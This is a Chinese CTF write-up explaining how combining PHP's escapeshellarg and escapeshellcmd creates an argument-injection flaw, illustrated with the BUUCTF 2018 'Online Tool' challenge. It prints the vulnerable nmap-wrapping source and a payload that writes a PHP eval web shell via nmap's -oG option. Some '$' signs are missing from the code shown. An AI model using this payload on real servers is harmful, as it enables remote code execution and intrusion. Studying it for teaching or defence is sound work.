函数定义

我们先在php官网上查找一下函数相关的说明

escapeshellarg

escapeshellarg() 将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,这样以确保能够直接将一个字符串传入 shell 函数,并且还是确保安全的。

escapeshellcmd

escapeshellcmd() 对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义

反斜线(\)会在以下字符之前插入: &#;`|*?~<>^()[]{}$\, \x0A\xFF'" 仅在不配对儿的时候被转义。

-与--

-表示一个短命令,比如-abc表示-a -b -c

--表示长命令,比如--help

有些命令后面还会带参数值,而漏洞的关键就在于单引号并不是区分一个字符串是“参数值”或“选项”的标准。

组合使用时会产生的漏洞

比如[BUUCTF 2018]Online Tool

<?php

if (isset(_SERVER['HTTP_X_FORWARDED_FOR'])) {_SERVER['REMOTE_ADDR'] = _SERVER['HTTP_X_FORWARDED_FOR'];
}

if(!isset(_GET['host'])) {
    highlight_file(__FILE__);
} else {
    host =_GET['host'];
    host = escapeshellarg(host);
    host = escapeshellcmd(host);
    sandbox = md5("glzjin"._SERVER['REMOTE_ADDR']);
    echo 'you are in sandbox '.sandbox;
    @mkdir(sandbox);
    chdir(sandbox);
    echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".host);
}
$host = ' <?php eval(\$_POST[1]);?> -oG 1.php '
->escapeshellarg
$host = ''\'' <?php eval($_POST[1]);?> -oG 1.php '\'''
->escapeshellcmd
''\\'' \<\?php eval\(\$_POST\[1\]\)\;\?\> -oG 1.php '\\'''

可以写入木马


告别纷扰,去寻找生活的宝藏。